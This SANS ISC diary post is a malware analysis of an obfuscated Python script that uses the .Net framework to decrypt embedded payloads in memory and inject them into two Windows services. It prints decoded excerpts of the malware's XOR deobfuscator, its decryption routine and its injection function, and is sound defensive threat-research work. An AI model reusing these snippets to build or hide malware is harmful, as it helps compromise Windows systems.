My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

From Python to .Net

Published: 2021-04-29. Last Updated: 2021-04-29 06:14:53 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.

The script was called 'prophile.py'[4]  (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it!

First, all interesting strings are obfuscated using a one-liner:

>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s])
>>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249)
'tasklist /FI "SERVICES eq '

As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:

Note: all the snippets of code have been decoded/beautified

from System.Security.Cryptography import*
from System.Reflection import*
import System

The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:

if __name__ == "__main__":
    if len(sys.argv) != 2:
        exit()

The expected parameter is the encryption key as we can see in this function call:

payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)

I did not found the parameter passed as an argument, no way to decrypt the payloads!

These payloads (stored in the script) are decrypted in memory:

def DecryptPayloadToMemory(payload, key, iv, log_file):
    instance = None
    try:
        rm = RijndaelManaged(KeySize=128, BlockSize=128)
        rm.Key = Str2Bytes(key)
        rm.IV = Str2Bytes(iv)
        rm.Padding = PaddingMode.PKCS7
        payload = Str2Bytes(payload)
        with System.IO.MemoryStream()as memory_handle:
            with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle:
                crypto_handle.Write(payload, 0, payload.Length)
                print(crypto_handle.FlushFinalBlock())
                memory_handle.Position = 0
                instance = System.Array.CreateInstance(System.Byte, memory_handle.Length)
                memory_handle.Read(instance, 0, instance.Length)
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace))
        log_file.flush()
        instance = None
    return instance

The script injects malicious code into two Windows services:

process_name = "rpceptmapper"
process_name2 = "lanmanserver"

Two payloads are injected into these services using the Assembly.CreateInstance method[6]:

def InjectCode(enc_payld, process_name, log_file, asm):
    payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file)
    if payload == None:
        log_file.write('[!] Failed to get payload')
        return False
    try:
        type = asm.GetType('DefaultSerializer.DefaultSerializer')
        pid = GetProcessPID(process_name)
        if pid != 0:
            NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None)
            NQHRxUDMlE = type.GetMethod('Invoke')
            log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None))
        else:
            log_file.write('[!] Failed to get pid')
            return True
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace))
        return False
    return True

Another example of how Python becomes more and more popular for attackers!

[1] https://dotnet.microsoft.com/download/dotnet-framework
[2] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[3] https://docs.python.org/3/library/ctypes.html
[4] https://bazaar.abuse.ch/sample/65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361/
[5] http://pythonnet.github.io
[6] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-5.0

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives